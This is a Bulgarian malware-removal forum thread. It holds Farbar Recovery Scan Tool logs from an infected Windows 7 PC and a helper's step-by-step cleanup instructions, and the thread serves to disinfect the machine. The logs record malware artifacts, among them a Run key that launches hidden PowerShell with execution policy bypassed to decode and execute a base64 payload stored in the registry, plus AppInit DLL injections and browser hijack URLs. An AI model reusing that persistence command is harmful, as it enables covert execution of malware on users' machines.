2008-05-23 16:48 - 2008-05-23 16:48 - 0020270 _____ () C:\ProgramData\DeviceInstaller.xml
2008-06-23 12:02 - 2008-06-23 12:02 - 0097410 ____R () C:\ProgramData\DeviceManager.xml.rc4
2014-02-13 15:04 - 2014-02-13 15:04 - 0004900 _____ () C:\ProgramData\flwjycbm.bab
2016-02-19 05:49 - 2016-02-19 05:49 - 0000016 _____ () C:\ProgramData\mntemp
2010-11-21 05:24 - 2010-11-21 05:24 - 73427712 ___SH () C:\ProgramData\msvddgr.exe

Files to move or delete:
====================
C:\ProgramData\msvddgr.exe


==================== Bamital & volsnap =================

(There is no automatic fix for files that do not pass verification.)

C:\Windows\system32\winlogon.exe => File is digitally signed
C:\Windows\system32\wininit.exe => File is digitally signed
C:\Windows\SysWOW64\wininit.exe => File is digitally signed
C:\Windows\explorer.exe => File is digitally signed
C:\Windows\SysWOW64\explorer.exe => File is digitally signed
C:\Windows\system32\svchost.exe => File is digitally signed
C:\Windows\SysWOW64\svchost.exe => File is digitally signed
C:\Windows\system32\services.exe => File is digitally signed
C:\Windows\system32\User32.dll
[2010-11-21 05:24] - [2013-11-15 22:28] - 1008640 ____A (Microsoft Corporation) 2C353B6CE0C8D03225CAA2AF33B68D79

C:\Windows\SysWOW64\User32.dll
[2010-11-21 05:24] - [2013-11-15 22:28] - 0833024 ____A (Microsoft Corporation) 861C4346F9281DC0380DE72C8D55D6BE

C:\Windows\system32\userinit.exe => File is digitally signed
C:\Windows\SysWOW64\userinit.exe => File is digitally signed
C:\Windows\system32\rpcss.dll => File is digitally signed
C:\Windows\system32\dnsapi.dll => File is digitally signed
C:\Windows\SysWOW64\dnsapi.dll => File is digitally signed
C:\Windows\system32\Drivers\volsnap.sys => File is digitally signed


LastRegBack: 2016-03-19 04:53

==================== End of FRST.txt ============================

Addition.txt

Здравейте,

Доста заразена е системата. Ще ми трябва малко време да напиша скрипта.

Моля деинсталирайте следните програми по следния начин:

 

СТЪПКА 1

 

Изтеглете програмата GeekUninstaller и я запазете на десктопа.

Разархивирайте я и стартирайте файла geek.exe IxXO5oO.jpg
От списъка намерете AtuZi (примера е за Mozilla Firefox, но това е просто за пример, не деинсталирайте Mozilla).

Кликнете с десен бутон върху програмата и изберете Uninstall
 
XhV2QLa.png

След края на инсталацията ще се отвори прозорец подканващ ви да премахнете всички остатъци от програмата (ако има такива, ако няма този прозорец няма да се появи):

Пример за Mozilla браузъра:

geekuninstaller-3.png

Натиснете бутона Finish за да изтриете останките от програмата.

Повторете стъпките и за следните програми:

KMP Service
MyPC Backup
PC Speed Maximizer v3.2

 

СТЪПКА 2

 

Моля изтеглете ESETNecursRemover.exe и го запазете на десктопа.
Стартирайте файла ESETNecursRemover.exe и се съгласете с лицензионното споразумение.
Ако видите съобщението: "Win32/Necurs found in your system" => Изберете Y.
После ще видите това: "Do you want to restart the computer now (required)". => Изберете Y.

 

СТЪПКА 3

 

Направете нова проверка с FRST като сложите отметка пред Addition.txt преди да натиснете бутона SCAN и след това прикачете новите резултати.

 

Поздрави!

  • Автор

Изпълних стъпките, само на стъпка 2 не ми излезе Do you want to restart your computer.

Прикачвам новите резултати след изпълнението на стъпка 1 и 2.

Scan result of Farbar Recovery Scan Tool (FRST) (x64) Version:05-03-2016 01
Ran by Stefan (administrator) on STEFAN-PC (20-03-2016 21:41:51)
Running from C:\Users\Stefan\Downloads
Loaded Profiles: Stefan & postgres (Available Profiles: Stefan & postgres)
Platform: Windows 7 Ultimate Service Pack 1 (X64) Language: Английски (Съединени щати)
Internet Explorer Version 11 (Default browser: FF)
Boot Mode: Normal
Tutorial for Farbar Recovery Scan Tool: http://www.geekstogo.com/forum/topic/335081-frst-tutorial-how-to-use-farbar-recovery-scan-tool/

==================== Processes (Whitelisted) =================

(If an entry is included in the fixlist, the process will be closed. The file will not be moved.)

(NVIDIA Corporation) C:\Windows\System32\nvvsvc.exe
(NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\Display\nvxdsync.exe
(NVIDIA Corporation) C:\Windows\System32\nvvsvc.exe
(ASUS) C:\Program Files (x86)\ASUS\ATK Package\ATK Hotkey\AsLdrSrv.exe
(Microsoft Corporation) C:\Windows\System32\wlanext.exe
(ASUS) C:\Program Files (x86)\ASUS\ATK Package\ATKGFNEX\GFNEXSrv.exe
(ASUSTek Computer Inc.) C:\Program Files (x86)\ASUS\ATK Package\ATK Hotkey\HControl.exe
(ASUS) C:\Program Files (x86)\ASUS\ATK Package\ATK Hotkey\ATKOSD.exe
(ASUSTek Computer Inc.) C:\Program Files (x86)\ASUS\ATK Package\ATKOSD2\ATKOSD2.exe
(ASUSTek Computer Inc.) C:\Program Files (x86)\ASUS\USBChargerPlus\USBChargerPlus.exe
(ASUS) C:\Program Files (x86)\ASUS\ATK Package\ATK Hotkey\WDC.exe
(ASUS) C:\Program Files (x86)\ASUS\InstantOn for NB\InsOnSrv.exe
() C:\Program Files\BitTorrent\BitTorrent.exe
(ASUS) C:\Program Files (x86)\ASUS\InstantOn for NB\InsOnWMI.exe
(Intel Corporation) C:\Program Files (x86)\Intel\Bluetooth\devmonsrv.exe
() C:\ProgramData\CloudPrinter\CloudPrinter.exe
(Intel(R) Corporation) C:\Program Files\Intel\WiFi\bin\EvtEng.exe
(NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\GeForce Experience Service\GfExperienceService.exe
() C:\ProgramData\KMSAuto\KMSES.exe
(NVIDIA Corporation) C:\Program Files (x86)\NVIDIA Corporation\NetService\NvNetworkService.exe
(PostgreSQL Global Development Group) C:\Program Files\PostgreSQL\9.0\bin\pg_ctl.exe
(PostgreSQL Global Development Group) C:\Program Files\PostgreSQL\9.0\bin\postgres.exe
(PostgreSQL Global Development Group) C:\Program Files\PostgreSQL\9.0\bin\postgres.exe
(PostgreSQL Global Development Group) C:\Program Files\PostgreSQL\9.0\bin\postgres.exe
(PostgreSQL Global Development Group) C:\Program Files\PostgreSQL\9.0\bin\postgres.exe
(PostgreSQL Global Development Group) C:\Program Files\PostgreSQL\9.0\bin\postgres.exe
(PostgreSQL Global Development Group) C:\Program Files\PostgreSQL\9.0\bin\postgres.exe
(NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\Display\nvtray.exe
(NVIDIA Corporation) C:\Program Files (x86)\NVIDIA Corporation\Update Core\NvBackend.exe
() C:\Program Files (x86)\Razer\Razer Services\GSS\GameScannerService.exe
(Intel(R) Corporation) C:\Program Files\Common Files\Intel\WirelessCommon\RegSrvc.exe
(TeamViewer GmbH) C:\Program Files (x86)\TeamViewer\TeamViewer_Service.exe
(Intel® Corporation) C:\Program Files\Intel\WiFi\bin\ZeroConfigService.exe
(ASUSTeK Computer Inc.) C:\Program Files (x86)\ASUS\ASUS Live Update\LiveUpdate.exe
(Intel Corporation) C:\Program Files (x86)\Intel\Bluetooth\obexsrv.exe
(Vodafone) C:\Program Files (x86)\Vodafone\Vodafone Mobile Connect\Bin\VMCService.exe
(Intel Corporation) C:\Windows\System32\hkcmd.exe
(Intel Corporation) C:\Windows\System32\igfxpers.exe
(Intel Corporation) C:\Program Files (x86)\Intel\Bluetooth\BleServicesCtrl.exe
(Microsoft Corporation) C:\Windows\System32\rundll32.exe
(Microsoft Corporation) C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
(Microsoft Corporation) C:\Program Files\Microsoft Office\Office14\MSOSYNC.EXE
(Microsoft Corporation) C:\Windows\SysWOW64\msiexec.exe
(ASUSTek Computer Inc.) C:\Program Files (x86)\ASUS\ATK Package\ATK Media\DMedia.exe
(ASUS) C:\Program Files (x86)\ASUS\ATK Package\ATK Hotkey\HControlUser.exe
(Intel Corporation) C:\Program Files (x86)\Intel\Intel(R) USB 3.0 eXtensible Host Controller Driver\Application\iusb3mon.exe
(Vodafone) C:\Program Files (x86)\Vodafone\Vodafone Mobile Connect\Bin\MobileConnect.exe
(Razer Inc.) C:\Program Files (x86)\Razer\Synapse\RzSynapse.exe
(Oracle Corporation) C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe
() C:\Windows\Installer\{3F34C515-AD21-CC86-6996-BAB248A3AE93}\syshost.exe
(Microsoft Corporation) C:\Windows\SysWOW64\netsh.exe
(Microsoft Corporation) C:\Windows\Microsoft.NET\Framework64\v3.0\WPF\PresentationFontCache.exe
(Intel Corporation) C:\Program Files\Intel\BluetoothHS\BTHSAmpPalService.exe
(Intel(R) Corporation) C:\Program Files\Intel\BluetoothHS\BTHSSecurityMgr.exe
(Microsoft Corporation) C:\Windows\SysWOW64\cmd.exe
(Microsoft Corporation) C:\Windows\SysWOW64\cmd.exe
(Microsoft Corporation) C:\Windows\SysWOW64\cmd.exe
(NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\ShadowPlay\nvspcaps64.exe
() C:\ProgramData\afoir\afoir.exe
(Skype Technologies S.A.) C:\Program Files (x86)\Skype\Phone\Skype.exe
(Microsoft Corporation) C:\Program Files (x86)\Skype\Toolbars\AutoUpdate\SkypeC2CAutoUpdateSvc.exe
(Microsoft Corporation) C:\Program Files (x86)\Skype\Toolbars\PNRSvc\SkypeC2CPNRSvc.exe
(Microsoft Corporation) C:\Windows\System32\slui.exe
(Microsoft Corporation) C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
() C:\Program Files (x86)\Riot Games\League of Legends\RADS\system\rads_user_kernel.exe
() C:\Program Files (x86)\Riot Games\League of Legends\RADS\projects\lol_launcher\releases\0.0.1.12\deploy\LoLLauncher.exe
() C:\Program Files (x86)\Riot Games\League of Legends\RADS\projects\lol_patcher\releases\0.0.0.52\deploy\LoLPatcher.exe
() C:\Program Files (x86)\Riot Games\League of Legends\RADS\projects\lol_air_client\releases\0.0.1.188\deploy\LolClient.exe
(BitTorrent Inc.) C:\Users\Stefan\AppData\Roaming\uTorrent\uTorrent.exe
(BitTorrent Inc.) C:\Users\Stefan\AppData\Roaming\uTorrent\updates\3.4.5_41865\utorrentie.exe
(BitTorrent Inc.) C:\Users\Stefan\AppData\Roaming\uTorrent\updates\3.4.5_41865\utorrentie.exe
(Mozilla Corporation) C:\Program Files (x86)\Mozilla Firefox\firefox.exe
(Farbar) C:\Users\Stefan\Downloads\FRST64(1).exe


==================== Registry (Whitelisted) ===========================

(If an entry is included in the fixlist, the registry item will be restored to default or removed. The file will not be moved.)

HKLM\...\Run: [BLEServicesCtrl] => C:\Program Files (x86)\Intel\Bluetooth\BleServicesCtrl.exe [178960 2012-03-15] (Intel Corporation)
HKLM\...\Run: [BTMTrayAgent] => rundll32.exe "C:\Program Files (x86)\Intel\Bluetooth\btmshell.dll",TrayApp
HKLM\...\Run: [Nvtmru] => "C:\Program Files (x86)\NVIDIA Corporation\NVIDIA Update Core\nvtmru.exe"
HKLM\...\Run: [ShadowPlay] => "C:\Windows\system32\rundll32.exe" C:\Windows\system32\nvspcap64.dll,ShadowPlayOnSystemStart
HKLM\...\Run: [NvBackend] => C:\Program Files (x86)\NVIDIA Corporation\Update Core\NvBackend.exe [2789248 2016-02-17] (NVIDIA Corporation)
HKLM-x32\...\Run: [ATKOSD2] => C:\Program Files (x86)\ASUS\ATK Package\ATKOSD2\ATKOSD2.exe [322208 2012-06-25] (ASUSTek Computer Inc.)
HKLM-x32\...\Run: [ATKMEDIA] => C:\Program Files (x86)\ASUS\ATK Package\ATK Media\DMedia.exe [174752 2012-06-19] (ASUSTek Computer Inc.)
HKLM-x32\...\Run: [HControlUser] => C:\Program Files (x86)\ASUS\ATK Package\ATK Hotkey\HControlUser.exe [105016 2009-06-19] (ASUS)
HKLM-x32\...\Run: [USB3MON] => C:\Program Files (x86)\Intel\Intel(R) USB 3.0 eXtensible Host Controller Driver\Application\iusb3mon.exe [291608 2012-02-07] (Intel Corporation)
HKLM-x32\...\Run: [MobileConnect] => %programfiles%\Vodafone\Vodafone Mobile Connect\Bin\MobileConnect.exe /silent
HKLM-x32\...\Run: [] => [X]
HKLM-x32\...\Run: [Razer Synapse] => C:\Program Files (x86)\Razer\Synapse\RzSynapse.exe [592704 2015-09-29] (Razer Inc.)
HKLM-x32\...\Run: [SunJavaUpdateSched] => C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe [596528 2015-11-09] (Oracle Corporation)
HKLM-x32\...\Run: [syshost32] => C:\Windows\Installer\{3F34C515-AD21-CC86-6996-BAB248A3AE93}\syshost.exe
Winlogon\Notify\igfxcui: C:\Windows\system32\igfxdev.dll (Intel Corporation)
HKLM\...\Policies\Explorer\Run: [1337573597] => C:\ProgramData\msvddgr.exe [73427712 2010-11-21] ()
HKU\S-1-5-19\...\Run: [Sidebar] => %ProgramFiles%\Windows Sidebar\Sidebar.exe /autoRun
HKU\S-1-5-20\...\Run: [Sidebar] => %ProgramFiles%\Windows Sidebar\Sidebar.exe /autoRun
HKU\S-1-5-21-2911250186-2008469882-1143044474-1000\...\Run: [uTorrent] => C:\Users\Stefan\AppData\Roaming\uTorrent\uTorrent.exe [2094080 2016-03-06] (BitTorrent Inc.)
HKU\S-1-5-21-2911250186-2008469882-1143044474-1000\...\Run: [Gyazo] => C:\Program Files (x86)\Gyazo\GyStation.exe [3586848 2016-02-17] (Nota Inc.)
HKU\S-1-5-21-2911250186-2008469882-1143044474-1000\...\Run: [Steam] => C:\Program Files (x86)\Steam\steam.exe [3014224 2016-02-04] (Valve Corporation)
HKU\S-1-5-21-2911250186-2008469882-1143044474-1000\...\Run: [{B64A3306-E5BC-4C45-8075-ABDC901C1837}] => powershell.exe -noprofile -windowstyle hidden -executionpolicy bypass iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\NcMrJwyXG').YFEXBDTAUQEL)));
HKU\S-1-5-21-2911250186-2008469882-1143044474-1000\...\Run: [OfficeSyncProcess] => C:\Program Files\Microsoft Office\Office14\MSOSYNC.EXE [909696 2010-12-21] (Microsoft Corporation)
HKU\S-1-5-21-2911250186-2008469882-1143044474-1000\...\Run: [Skype] => C:\Program Files (x86)\Skype\Phone\Skype.exe [50676864 2016-03-01] (Skype Technologies S.A.)
HKU\S-1-5-21-2911250186-2008469882-1143044474-1000\...\Run: [DAEMON Tools Lite] => C:\Program Files (x86)\DAEMON Tools Lite\DTLite.exe [3672640 2013-03-14] (Disc Soft Ltd)
HKU\S-1-5-21-2911250186-2008469882-1143044474-1000\...\Run: [Voobly] => C:\Program Files (x86)\Voobly\voobly.exe [159744 2016-02-23] (Voobly)
HKU\S-1-5-21-2911250186-2008469882-1143044474-1000\...\MountPoints2: {2bf66421-9032-11e5-8ebf-606c665b70ec} - F:\SETUP.EXE
HKU\S-1-5-21-2911250186-2008469882-1143044474-1000\...\MountPoints2: {2bf66425-9032-11e5-8ebf-606c665b70ec} - H:\SETUP.EXE
HKU\S-1-5-21-2911250186-2008469882-1143044474-1000\...\MountPoints2: {4acbd087-3947-11e5-8ca3-606c665b70ec} - F:\setup.exe
HKU\S-1-5-21-2911250186-2008469882-1143044474-1000\...\MountPoints2: {d69c4c94-9983-11e5-94d3-606c665b70ec} - F:\aocsetup.exe /autorun
HKU\S-1-5-21-2911250186-2008469882-1143044474-1000\Control Panel\Desktop\\SCRNSAVE.EXE -> C:\Windows\system32\ssText3d.scr [333824 2010-11-21] (Microsoft Corporation)
AppInit_DLLs: C:\ProgramData\afoir\Zoomhold.dll => C:\ProgramData\afoir\Zoomhold.dll [363520 2016-03-13] ()
AppInit_DLLs-x32: C:\ProgramData\afoir\Bioozekix.dll => C:\ProgramData\afoir\Bioozekix.dll [257536 2016-03-13] ()

==================== Internet (Whitelisted) ====================

(If an item is included in the fixlist, if it is a registry item it will be removed or restored to default.)

Tcpip\Parameters: [DhcpNameServer] 192.168.1.1
Tcpip\..\Interfaces\{61418247-B566-47D0-BE75-6F77C03F365B}: [DhcpNameServer] 192.168.1.1

Internet Explorer:
==================
HKLM\Software\Microsoft\Internet Explorer\Main,Start Page = hxxp://www.google.com
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Start Page = hxxp://www.google.com
HKLM\Software\Microsoft\Internet Explorer\Main,Search Page = hxxp://www.google.com
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Search Page = hxxp://www.google.com
HKLM\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = hxxp://www.google.com
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Default_Page_URL = hxxp://www.google.com
HKLM\Software\Microsoft\Internet Explorer\Main,Default_Search_URL = hxxp://www.google.com
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Default_Search_URL = hxxp://www.google.com
HKU\S-1-5-21-2911250186-2008469882-1143044474-1000\Software\Microsoft\Internet Explorer\Main,Search Page = hxxp://%66%65%65%64.%68%65%6C%70%65%72%62%61%72.%63%6F%6D/?p=mKO_AwFzXIpYRYEqQao2TxTGptbOxpBNaGWBzMpXPRmi4hopKfidXZkRv6blzxu94dGhq3Nl1hoQey-SRZn8F_--75UmsrikyazbHGGJNMOOLFH6byIrfFjs24F_OfewHZm6KxoeSQaVIzRApUJLXXdm6TKM6NVoVf0mxbRTyADxqSHqoKHtrjRllu4XXVCLun_uQ_5OGI0,&q={searchTerms}
HKU\S-1-5-21-2911250186-2008469882-1143044474-1000\Software\Microsoft\Internet Explorer\Main,Start Page = hxxp://%66%65%65%64.%68%65%6C%70%65%72%62%61%72.%63%6F%6D/?p=mKO_AwFzXIpYRYEqQao2TxTGptbOxpBNaGWBzMpXPRmi4hopKfidXZkRv6blzxu94dGhq3Nl1hoQey-SRZn8F_--75UmsrikyazbHGGJNMOOLF0dPujPrN1bYvhG3ajvv2yu3GBQ7I4Yc17Hp2rRIy_2djBa5nUcY-CyiWCvtnEOeV_w40Ml0AZTEUJLD9Zqxx2A5hl_bUA,
HKU\S-1-5-21-2911250186-2008469882-1143044474-1000\Software\Microsoft\Internet Explorer\Main,Search Bar = hxxp://%66%65%65%64.%68%65%6C%70%65%72%62%61%72.%63%6F%6D/?p=mKO_AwFzXIpYRYEqQao2TxTGptbOxpBNaGWBzMpXPRmi4hopKfidXZkRv6blzxu94dGhq3Nl1hoQey-SRZn8F_--75UmsrikyazbHGGJNMOOLFH6byIrfFjs24F_OfewHZm6KxoeSQaVIzRApUJLXXdm6TKM6NVoVf0mxbRTyADxqSHqoKHtrjRllu4XXVCLun_uQ_5OGI0,&q={searchTerms}
HKU\S-1-5-21-2911250186-2008469882-1143044474-1000\Software\Microsoft\Internet Explorer\Main,SearchAssistant = hxxp://%66%65%65%64.%68%65%6C%70%65%72%62%61%72.%63%6F%6D/?p=mKO_AwFzXIpYRYEqQao2TxTGptbOxpBNaGWBzMpXPRmi4hopKfidXZkRv6blzxu94dGhq3Nl1hoQey-SRZn8F_--75UmsrikyazbHGGJNMOOLFH6byIrfFjs24F_OfewHZm6KxoeSQaVIzRApUJLXXdm6TKM6NVoVf0mxbRTyADxqSHqoKHtrjRllu4XXVCLun_uQ_5OGI0,&q={searchTerms}
HKU\S-1-5-21-2911250186-2008469882-1143044474-1004\Software\Microsoft\Internet Explorer\Main,Start Page = hxxp://%66%65%65%64.%68%65%6C%70%65%72%62%61%72.%63%6F%6D/?p=mKO_AwFzXIpYRYEqQao2TxTGptbOxpBNaGWBzMpXPRmi4hopKfidXZkRv6blzxu94dGhq3Nl1hoQey-SRZn8F_--75UmsrikyazbHGGJNMOOLF0dPujPrN1bYvhG3ajvv2yu3GBQ7I4Yc17Hp2rRIy_2djBa5nUcY-CyiWCvtnEOeV_w40Ml0AZTEUJLD9Zqxx2A5hl_bUA,
HKU\S-1-5-21-2911250186-2008469882-1143044474-1004\Software\Microsoft\Internet Explorer\Main,Search Bar = hxxp://%66%65%65%64.%68%65%6C%70%65%72%62%61%72.%63%6F%6D/?p=mKO_AwFzXIpYRYEqQao2TxTGptbOxpBNaGWBzMpXPRmi4hopKfidXZkRv6blzxu94dGhq3Nl1hoQey-SRZn8F_--75UmsrikyazbHGGJNMOOLFH6byIrfFjs24F_OfewHZm6KxoeSQaVIzRApUJLXXdm6TKM6NVoVf0mxbRTyADxqSHqoKHtrjRllu4XXVCLun_uQ_5OGI0,&q={searchTerms}
HKU\S-1-5-21-2911250186-2008469882-1143044474-1004\Software\Microsoft\Internet Explorer\Main,Search Page = hxxp://%66%65%65%64.%68%65%6C%70%65%72%62%61%72.%63%6F%6D/?p=mKO_AwFzXIpYRYEqQao2TxTGptbOxpBNaGWBzMpXPRmi4hopKfidXZkRv6blzxu94dGhq3Nl1hoQey-SRZn8F_--75UmsrikyazbHGGJNMOOLFH6byIrfFjs24F_OfewHZm6KxoeSQaVIzRApUJLXXdm6TKM6NVoVf0mxbRTyADxqSHqoKHtrjRllu4XXVCLun_uQ_5OGI0,&q={searchTerms}
HKU\S-1-5-21-2911250186-2008469882-1143044474-1004\Software\Microsoft\Internet Explorer\Main,SearchAssistant = hxxp://%66%65%65%64.%68%65%6C%70%65%72%62%61%72.%63%6F%6D/?p=mKO_AwFzXIpYRYEqQao2TxTGptbOxpBNaGWBzMpXPRmi4hopKfidXZkRv6blzxu94dGhq3Nl1hoQey-SRZn8F_--75UmsrikyazbHGGJNMOOLFH6byIrfFjs24F_OfewHZm6KxoeSQaVIzRApUJLXXdm6TKM6NVoVf0mxbRTyADxqSHqoKHtrjRllu4XXVCLun_uQ_5OGI0,&q={searchTerms}
URLSearchHook: HKLM-x32 -> Default = {CCC7B151-1D8C-11E3-B2AD-F3EF3D58318D}
SearchScopes: HKLM -> {9BB47C17-9C68-4BB3-B188-DD9AF0FD2488} URL = hxxp://dts.search.ask.com/sr?src=ieb&gct=ds&appid=210&systemid=488&v=a13277-353&apn_uid=9752226053614134&apn_dtid=TCH001&o=APN11459&apn_ptnrs=AG1&q={searchTerms}
SearchScopes: HKLM-x32 -> DefaultScope {ielnksrch} URL =
SearchScopes: HKLM-x32 -> ielnksrch URL = hxxp://%66%65%65%64.%68%65%6C%70%65%72%62%61%72.%63%6F%6D/?p=mKO_AwFzXIpYRYEqQao2TxTGptbOxpBNaGWBzMpXPRmi4hopKfidXZkRv6blzxu94dGhq3Nl1hoQey-SRZn8F_--75UmsrikyazbHGGJNMOOLFH6byIrfFjs24F_OfewHZm6KxoeSQaVIzRApUJLXXdm6TKM6NVoVf0mxbRTyADxqSHqoKHtrjRllu4XXVCLun_uQ_5OGI0,&q={searchTerms}
SearchScopes: HKU\S-1-5-21-2911250186-2008469882-1143044474-1000 -> {ielnksrch} URL = hxxp://%66%65%65%64.%68%65%6C%70%65%72%62%61%72.%63%6F%6D/?p=mKO_AwFzXIpYRYEqQao2TxTGptbOxpBNaGWBzMpXPRmi4hopKfidXZkRv6blzxu94dGhq3Nl1hoQey-SRZn8F_--75UmsrikyazbHGGJNMOOLFH6byIrfFjs24F_OfewHZm6KxoeSQaVIzRApUJLXXdm6TKM6NVoVf0mxbRTyADxqSHqoKHtrjRllu4XXVCLun_uQ_5OGI0,&q={searchTerms}
SearchScopes: HKU\S-1-5-21-2911250186-2008469882-1143044474-1004 -> DefaultScope {ielnksrch} URL = hxxp://%66%65%65%64.%68%65%6C%70%65%72%62%61%72.%63%6F%6D/?p=mKO_AwFzXIpYRYEqQao2TxTGptbOxpBNaGWBzMpXPRmi4hopKfidXZkRv6blzxu94dGhq3Nl1hoQey-SRZn8F_--75UmsrikyazbHGGJNMOOLFH6byIrfFjs24F_OfewHZm6KxoeSQaVIzRApUJLXXdm6TKM6NVoVf0mxbRTyADxqSHqoKHtrjRllu4XXVCLun_uQ_5OGI0,&q={searchTerms}
SearchScopes: HKU\S-1-5-21-2911250186-2008469882-1143044474-1004 -> {ielnksrch} URL = hxxp://%66%65%65%64.%68%65%6C%70%65%72%62%61%72.%63%6F%6D/?p=mKO_AwFzXIpYRYEqQao2TxTGptbOxpBNaGWBzMpXPRmi4hopKfidXZkRv6blzxu94dGhq3Nl1hoQey-SRZn8F_--75UmsrikyazbHGGJNMOOLFH6byIrfFjs24F_OfewHZm6KxoeSQaVIzRApUJLXXdm6TKM6NVoVf0mxbRTyADxqSHqoKHtrjRllu4XXVCLun_uQ_5OGI0,&q={searchTerms}
BHO: Groove GFS Browser Helper -> {72853161-30C5-4D22-B7F9-0BBC1D38A37E} -> C:\Program Files\Microsoft Office\Office14\GROOVEEX.DLL [2012-08-16] (Microsoft Corporation)
BHO: Skype Click to Call for Internet Explorer -> {AE805869-2E5C-4ED4-8F7B-F1F7851A4497} -> C:\Program Files (x86)\Skype\Toolbars\Internet Explorer x64\skypeieplugin.dll [2016-01-08] (Microsoft Corporation)
BHO: Office Document Cache Handler -> {B4F3A835-0E21-4959-BA22-42B3008E02FF} -> C:\Program Files\Microsoft Office\Office14\URLREDIR.DLL [2010-12-21] (Microsoft Corporation)
BHO-x32: Java(tm) Plug-In SSV Helper -> {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} -> C:\Program Files (x86)\Java\jre1.8.0_66\bin\ssv.dll [2015-11-24] (Oracle Corporation)
BHO-x32: Skype Click to Call for Internet Explorer -> {AE805869-2E5C-4ED4-8F7B-F1F7851A4497} -> C:\Program Files (x86)\Skype\Toolbars\Internet Explorer\SkypeIEPlugin.dll [2016-01-08] (Microsoft Corporation)
BHO-x32: Office Document Cache Handler -> {B4F3A835-0E21-4959-BA22-42B3008E02FF} -> C:\Program Files (x86)\Microsoft Office\Office14\URLREDIR.DLL [2010-12-21] (Microsoft Corporation)
BHO-x32: Java(tm) Plug-In 2 SSV Helper -> {DBC80044-A445-435b-BC74-9C25C1C588A9} -> C:\Program Files (x86)\Java\jre1.8.0_66\bin\jp2ssv.dll [2015-11-24] (Oracle Corporation)
Handler-x32: skype4com - {FFC8B962-9B40-4DFF-9458-1830C7DD7F5D} - C:\Program Files (x86)\Common Files\Skype\Skype4COM.dll [2016-02-01] (Skype Technologies)
Handler: skypec2c - {91774881-D725-4E58-B298-07617B9B86A8} - C:\Program Files (x86)\Skype\Toolbars\Internet Explorer x64\skypeieplugin.dll [2016-01-08] (Microsoft Corporation)
Handler-x32: skypec2c - {91774881-D725-4E58-B298-07617B9B86A8} - C:\Program Files (x86)\Skype\Toolbars\Internet Explorer\SkypeIEPlugin.dll [2016-01-08] (Microsoft Corporation)

FireFox:
========
FF ProfilePath: C:\Users\Stefan\AppData\Roaming\Mozilla\Firefox\Profiles\n61u4qmb.default-1458467973018
FF Plugin: @adobe.com/FlashPlayer -> C:\Windows\system32\Macromed\Flash\NPSWF64_21_0_0_182.dll [2016-03-11] ()
FF Plugin: @microsoft.com/GENUINE -> disabled [No File]
FF Plugin: @microsoft.com/OfficeAuthz,version=14.0 -> C:\PROGRA~1\MICROS~2\Office14\NPAUTHZ.DLL [2010-01-09] (Microsoft Corporation)
FF Plugin-x32: @adobe.com/FlashPlayer -> C:\Windows\SysWOW64\Macromed\Flash\NPSWF32_21_0_0_182.dll [2016-03-11] ()
FF Plugin-x32: @java.com/DTPlugin,version=11.66.2 -> C:\Program Files (x86)\Java\jre1.8.0_66\bin\dtplugin\npDeployJava1.dll [2015-11-24] (Oracle Corporation)
FF Plugin-x32: @java.com/JavaPlugin,version=11.66.2 -> C:\Program Files (x86)\Java\jre1.8.0_66\bin\plugin2\npjp2.dll [2015-11-24] (Oracle Corporation)
FF Plugin-x32: @microsoft.com/GENUINE -> disabled [No File]
FF Plugin-x32: @microsoft.com/OfficeAuthz,version=14.0 -> C:\PROGRA~2\MICROS~1\Office14\NPAUTHZ.DLL [2010-01-09] (Microsoft Corporation)
FF Plugin-x32: @microsoft.com/SharePoint,version=14.0 -> C:\PROGRA~2\MICROS~1\Office14\NPSPWRAP.DLL [2010-03-24] (Microsoft Corporation)
FF Plugin-x32: @tools.google.com/Google Update;version=3 -> C:\Program Files (x86)\Google\Update\1.3.29.5\npGoogleUpdate3.dll [2016-02-01] (Google Inc.)
FF Plugin-x32: @tools.google.com/Google Update;version=9 -> C:\Program Files (x86)\Google\Update\1.3.29.5\npGoogleUpdate3.dll [2016-02-01] (Google Inc.)
FF Plugin-x32: Adobe Reader -> C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AIR\nppdf32.dll [2015-12-18] (Adobe Systems Inc.)
FF user.js: detected! => C:\Users\Stefan\AppData\Roaming\Mozilla\Firefox\Profiles\n61u4qmb.default-1458467973018\user.js [2016-03-20]
FF Extension: Skype - C:\Program Files (x86)\Mozilla Firefox\browser\extensions\{82AF8DCA-6DE9-405D-BD5E-43525BDAD38A}.xpi [2016-01-06]
FF Extension: Default - C:\Program Files (x86)\Mozilla Firefox\browser\extensions\{972ce4c6-7e08-4474-a285-3208198ce6fd}.xpi [2016-03-20] [not signed]

Chrome:
=======
CHR StartupUrls: Default -> "hxxp://istart.webssearches.com/?type=hp&ts=1405030083&from=amt&uid=HGSTXHTS541010A9E680_JD1000191D7WLN1D7WLNX"
CHR Profile: C:\Users\Stefan\AppData\Local\Google\Chrome\User Data\Default
CHR Extension: (Google Wallet) - C:\Users\Stefan\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda [2015-07-19]
CHR HKLM-x32\...\Chrome\Extension: [fcgnigmofekcllgbiejhmigggmgehkip] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM-x32\...\Chrome\Extension: [lifbcibllhkdhoafpjfnlhfpfgnpldfl] - C:\Program Files (x86)\Skype\Toolbars\ChromeExtension\skype_chrome_extension.crx [2016-01-08]

==================== Services (Whitelisted) ========================

(If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)

R2 afoir; C:\ProgramData\\afoir\\afoir.exe [529408 2016-03-13] () [File not signed]
